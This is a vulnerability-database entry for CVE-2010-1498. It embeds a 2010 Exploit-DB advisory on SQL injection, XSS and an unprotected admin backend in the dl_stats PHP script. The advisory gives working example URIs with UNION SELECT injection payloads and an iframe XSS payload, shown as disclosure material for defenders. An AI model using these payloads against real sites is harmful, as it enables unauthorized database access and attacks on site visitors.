CVE-2010-1498

high

Published 2010-04-23 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Multiple SQL injection vulnerabilities in dl_stats before 2.0 allow remote attackers to execute arbitrary SQL commands via the id parameter to (1) download.php and (2) view_file.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12280 webapps php verified text · 2 KB

Valentin Hoebel · 2010-04-18

dl_stats - Multiple Vulnerabilities

text exploit Source: Exploit-DB

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information 
|:: Advisory/Exploit Title = dl_stats Multiple Vulnerabilitie
|:: Author = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = dl_stats
|:: Vendor = Claus van Beek
|:: Vendor Website = http://clausvb.de/
|:: Affected Version(s) = please view vulnerability details
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = SQL Injection
|:: Affected Versions = > 2.0
|:: Vulnerable File(s) = multiple files
|:: Vulnerable Parameter(s) = multiple parameters
|:: #1 Example URI = view_file.php?id=6+AND+1=2+UNION+SELECT+1,concat(user()),concat(user()),concat(user()),concat(user()),6,7,concat(user())--
|:: #2 Example URI = download.php?id=2+AND+1=2+UNION+SELECT+1,concat(user()),3,concat(user()),concat(user())--
|:: 
|:: >> #2 "Vulnerability"
|:: Type = Unprotected Admin Backend
|:: Affected Versions = all
|:: URI = admin/index.htm
|:: This is not a real vulnerability. The admin backend simply isn't protected
|:: by any login, the installation manual recommends to protect it with a
|:: .htaccess file. Many webmasters just forget to do so.
|::
|:: >> #3 Vulnerability
|:: Type = XSS
|:: Affected Versions = > 2.0
|:: Vulnerable File(s) = multiple files
|:: Vulnerable Parameter(s) = multiple parameters
|:: Example URI = download_proc.php?id=<iframe src=http://www.google.de>
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory/Exploit Published = 18.04.2010
|:: The vendor seems to have rewritten the dl_stats software. Since version 2.0
|:: it validates the user input. The vendor only offers the latest version for download.
|:: If you want to test around a little bit you maybe are lucky and find an old
|:: version to download somewhere.
|:: Although version 2.0 was released a long time ago, many websites still use the
|:: old versions for their websites.
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]

Application impact

Vendor	Product	Versions	Fixed
clausvb	dl_stats	`{"endIncluding":"1.2"}`

References

CWEs

CWE-89

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Verify integrity in audit chain (admin only). AS-IS.